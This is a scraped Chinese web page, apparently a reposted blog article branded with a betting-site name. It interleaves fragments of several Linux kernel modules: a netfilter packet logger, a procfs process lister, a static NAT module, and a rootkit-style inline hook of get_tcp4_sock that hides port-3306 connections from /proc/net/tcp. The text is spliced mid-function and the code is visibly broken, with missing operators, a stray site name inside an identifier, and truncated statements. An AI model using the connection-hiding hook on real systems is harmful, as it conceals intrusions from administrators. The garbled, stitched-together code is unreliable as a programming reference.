xml地图|网站地图|网站标签 [设为首页] [加入收藏]

Linux下隐藏网络连接的另一种方法,实现源码

#include <linux/module.h>       /* Specifically, a module */
#include <linux/kernel.h>       /* We're doing kernel work */
#include <linux/proc_fs.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/types.h>
#include <linux/if_ether.h>
#include<linux/tcp.h>
#include<linux/ip.h>
#include <linux/skbuff.h>
#define IP 0x800
#define TCP 0x6
/* Necessary because we use the proc fs */
#define procfs_name "port"
char *buf;
struct nf_hook_ops nfho;
struct proc_dir_entry *Our_Proc_File;
int len=0;
unsigned int
hook_func (unsigned int hooknum,
           struct sk_buff **skb,
           const struct net_device *in,
 const struct net_device *out, int (*okfn) (struct sk_buff *))
{
  struct ethhdr *eth;
  struct iphdr *iph;
  struct tcphdr *tcp;
  struct sk_buff *SKB;

ricky_proc.c源码:
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/thread_info.h>
#include <linux/list.h>
#include <linux/sched.h>

既然看到了Cisco的NAT比较灵活,那么Linux能否实现呢?答案是肯定的!因为Linux的Netfilter是超级灵活的,Linux的NAT不灵活是因为iptables程序的不灵活,xtables-addons的RAWNAT已经朝static nat迈出了重要的一步,是iptables限制了Linux的static nat发展!于是我抛开iptables,先基于Netfilter把内核模块实现,然后用procfs作为用户接口,看看怎么实现Cisco风格的static nat。顺带说一句,之所以做这个程序,是因为我们在产品中真的遇到了这个需求,玩过SIP和FTP的都知道,然而因为工期受限,又怕自己做的这个不稳定,效率也没有优化,因此只能放在这里玩玩,不登大雅之堂。
首先,我们看一下基本原理,我们不希望一条NAT绑定任何N元组或者说流,只是一个一对一的地址映射,以源地址转换为例,在从内到外的方向将源地址A转换为B,在从外到内的方向将源目标地址B转换为A!必须记住,任何时候,源地址转换都在POSTROUTING上来做,而目标地址转换都在PREROUTING上来做,按照上述的陈述,以下图说明:
必威 1
有了上图作为指示,我们就知道该怎么做了:
1.内核中维护一个映射表,仅仅映射两个地址;
2.在PREROUTING和POSTROUTING两个HOOK点上基于上述的映射表执行NAT动作;
3.实现一个用户接口,可以从用户态进行地址映射的配置

以上3点比较容易实现,实际上使用xtables-addons的RAWNAT其实也能实现static nat,然而要想实现两个方向的自动匹配NAT,必然要配置两条甚至多条,最蛋疼的就是明明就是一条映射,非要写成match的形式,所以还是做成Cisco风格的吧。不管怎样,下面的这个代码的实际nat部分还是使用了RAWNAT的代码!

直接inline hook住get_tcp4_sock这个函数就行了,只不过需要重新实现下get_tcp4_sock的功能,在作下过滤。比较简单,代码如下:

  int ips[4],ipd[4];
  SKB = *skb;
  len = 0;
 
  eth = (struct ethhdr *) SKB->mac_header;
  iph = (struct iphdr *) SKB->network_header;
  tcp = (struct tcphdr *) SKB->transport_header;
  if (ntohs (eth->h_proto) == IP)
    {
      if (iph->protocol == TCP)
        {
 
         len = sprintf(buf len, "smac = x:x:x:x:x:xn", eth->h_source[0],eth->h_source[1],eth->h_source[2],eth->h_source[3],eth->h_source[4],eth->h_source[5]);
         len = sprintf(buf len, "dmac = x:x:x:x:x:xn", eth->h_dest[0],eth->h_dest[1],eth->h_dest[2],eth->h_dest[3],eth->h_dest[4],eth->h_dest[5]);

#define MODULE_VERSION "1.0"
#define MODULE_NAME "ricky_proc_info_final"
#define P_MAX_LEN 30
#define ARRAYMAX 4096

代码如下:

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/file.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/termbits.h>
#include <asm/ioctls.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

        len = sprintf(buf len, "dip = %u.%u.%u.%un", NIPQUAD(iph->daddr));
        len = sprintf(buf len, "sip = %u.%u.%u.%un", NIPQUAD(iph->daddr));
         len = sprintf(buf len, "sport = %d n",ntohs(tcp -> source));
         len = sprintf(buf len, "dport = %d n",ntohs(tcp -> dest));
              }
    }
  return NF_ACCEPT;
}
 
int
procfile_read (char *buffer,
               char **buffer_location,
               off_t offset, int buffer_length, int *eof, void *data)
{
       memcpy(buffer,buf,len);
  return len;
}
 
int
init_module ()
{
  buf = kmalloc(1024,GFP_KERNEL);
  nfho.hook = hook_func;        /* 处理函数 */
  nfho.hooknum = NF_IP_PRE_ROUTING;     /* 使用IPv4的第一个hook */
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;      /* 让我们的函数首先执行 */
  nf_register_hook (&nfho);
  Our_Proc_File = create_proc_entry (procfs_name, 0644, NULL);
  Our_Proc_File->read_proc = procfile_read;
  Our_Proc_File->owner = THIS_MODULE;
  Our_Proc_File->mode = S_IFREG | S_IRUGO;
  Our_Proc_File->uid = 0;
  Our_Proc_File->gid = 0;
  Our_Proc_File->size = 37;
  return 0;                     /* everything is ok */
}
                                  
void
cleanup_module ()
{
  kfree(buf);
  nf_unregister_hook (&nfho);
  remove_proc_entry (procfs_name, &proc_root);
}
 
makefile代码:
ifeq ($(KERNELRELEASE),)
    KERNELDIR ?= /lib/modules/$(shell uname -r)/build
     PWD := $(shell pwd)
modules:
        $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
modules_install:
        $(MAKE) -C $(KERNELDIR) M=$(PWD) modules_install
clean:
        rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions
.PHONY: modules modules_install clean
else
    # called from kernel build system: just declare what our modules are
    obj-m := proc.o
endif

static struct proc_dir_entry *ricky_file, *ricky_dir;
static char c[ARRAYMAX];

#include <linux/ip.h>
#include <linux/ipv6.h>
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/list.h>
#include <linux/sysfs.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/version.h>
#include <linux/netfilter.h>
#include <net/ip.h>
#include "compat_xtables.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

作者“programmer”

static int proc_read_info(char *page,char **start,off_t off,int count, int *eof,void *data)
{
    int len=0;
    char *c = (char *)ricky_file->data;
    len=sprintf(page,"%sn",c);
    return len;
}

static inline __be32
remask(__be32 addr, __be32 repl, unsigned int shift)
{
 uint32_t mask = (shift == 32) ? 0 : (~(uint32_t)0 >> shift);
 return htonl((ntohl(addr) & mask) | (ntohl(repl) & ~mask));
}

__u32 wnps_in_aton(const char *str)
{
        unsigned long l;
        unsigned int val;
        int i;

linux/module.h /* Specifically, a module */ #include linux/kernel.h /* Were doing kernel work */ #include linux/proc_fs.h #include linux/netfilter.h #include linux/netfilt...

static int __init ricky_info_init(void)
{
    //get_current() is defined to current
    //so we could get a task by "current"
    struct task_struct *task_c;
    task_c = current;
    struct task_struct *p;
    struct list_head *pos;
    int count=0;
   
    int rv=0;
    //create proc directory
    ricky_dir = proc_mkdir(MODULE_必威,NAME, NULL);
    if(ricky_dir==NULL){
        rv=-ENOMEM;
        goto out;
    }
    ricky_dir->owner = THIS_MODULE;
    //create proc file
    ricky_file=create_proc_entry("rickyps",0644,ricky_dir);
    if(ricky_file==NULL){
        rv=-ENOMEM;
        goto no_rickyps;
    }
    //traversal of task_list
    int length=0;
    int l=0;
    list_for_each(pos, &task_c->tasks){
       
        //get the list_entry
        p=list_entry(pos, struct task_struct, tasks);
        count ;
        if(count==1){
            length =sprintf(c l,"No.tPidtCMDn%dt%dt%sn",count,p->pid,p->comm);
            l=l length;
        }
        else{
            length=sprintf(c l,"%dt%dt%sn",count,p->pid,p->comm);
            l=l length;
        }
    }
    printk(KERN_INFO "Total number of processes is: %dn",count);
    length=sprintf(c l,"Total number of processes is %dn",count);
    l=l length;
   
    //link proc file
    ricky_file->data=c;
    ricky_file->read_proc=proc_read_info;
    ricky_file->owner=THIS_MODULE;
   
    printk(KERN_INFO "%s %s initialized.n", MODULE_NAME, MODULE_VERSION);
    return 0;
   
    no_rickyps:
        remove_proc_entry("rickyps",ricky_dir);
    out:
        return rv;
}

static void rawnat4_update_l4(struct sk_buff *skb, __be32 oldip, __be32 newip)
{
 struct iphdr *iph = ip_hdr(skb);
 void *transport_hdr = (void *)iph ip_hdrlen(skb);
 struct tcphdr *tcph;
 struct udphdr *udph;
 bool cond;

        l = 0;
        for (i = 0; i < 4; i ) {
                l <<= 8;
                if (*str != ) {
                        val = 0;
                        while (*str != && *str != .) {
                                val *= 10;
                                val = *str - 0;
                                str ;
                        }
                        l |= val;
                        if (*str != )
                                str ;
                }
        }

static void __exit ricky_info_exit(void)
{
    remove_proc_entry("rickyps",ricky_dir);
    remove_proc_entry(MODULE_NAME,NULL);
    printk(KERN_INFO "%s %s has been removed.n",MODULE_NAME,MODULE_VERSION);
}

 switch (iph->protocol) {
 case IPPROTO_TCP:
  tcph = transport_hdr;
  inet_proto_csum_replace4(&tcph->check, skb, oldip, newip, true);
  break;
 case IPPROTO_UDP:
 case IPPROTO_UDPLITE:
  udph = transport_hdr;
  cond = udph->check != 0;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 19)
  cond |= skb->ip_summed == CHECKSUM_PARTIAL;
#endif
  if (cond) {
   inet_proto_csum_replace4(&udph->check, skb,
    oldip, newip, true);
   if (udph->check == 0)
    udph->check = CSUM_MANGLED_0;
  }
  break;
 }
}

        return(htonl(l));
}

MODULE_AUTHOR("Ricky Song");
MODULE_LICENSE("GPL");

static unsigned int rawnat4_writable_part(const struct iphdr *iph)
{
 unsigned int wlen = sizeof(*iph);

void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
{
        int timer_active;
        unsigned long timer_expires;
        struct tcp_sock *tp = tcp_sk(sk);
        const struct inet_connection_sock *icsk = inet_csk(sk);
        struct inet_sock *inet = inet_sk(sk);
        __be32 dest = inet->daddr;
        __be32 src = inet->rcv_saddr;
        __u16 destp = ntohs(inet->dport);
        __u16 srcp = ntohs(inet->sport);

module_init(ricky_info_init);
module_exit(ricky_info_exit);

 switch (iph->protocol) {
 case IPPROTO_TCP:
  wlen = sizeof(struct tcphdr);
  break;
 case IPPROTO_UDP:
  wlen = sizeof(struct udphdr);
  break;
 }
 return wlen;
}

    printk("!! in new_get_tcp4_sock. ");


//实现源地址转换
static unsigned int
rawsnat(struct sk_buff **pskb, __be32 addr)
{
 struct iphdr *iph;
 __be32 new_addr;

        if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
                timer_active    = 1;
                timer_expires   = icsk->icsk_timeout;
        } else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
                timer_active    = 4;
                timer_expires   = icsk->icsk_timeout;
        } else if (timer_pending(&sk->sk_timer)) {
                timer_active    = 2;
                timer_expires   = sk->sk_timer.expires;
        } else {
                timer_active    = 0;
                timer_expires = jiffies;
        }

Makefile文件:
obj-m := ricky_proc.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
    rm -rf *.o *.mod.c *.ko Modules.symvers

 iph = ip_hdr(*pskb);
 new_addr = remask(iph->saddr, addr, 32);
 if (iph->saddr == new_addr) {
  return NF_ACCEPT;
 }

/*
    if (src == wnps_in_aton("127.0.0.1")) {
        printk("got 127.0.0.1");
        return ;
    }
*/
        if (srcp == 3306 || destp == 3306) {
                printk("got 3306! ");
        seq_printf(f, "M: X:X X:X X X:X X:lX "
                        "X ]

本文由必威发布于编程,转载请注明出处:Linux下隐藏网络连接的另一种方法,实现源码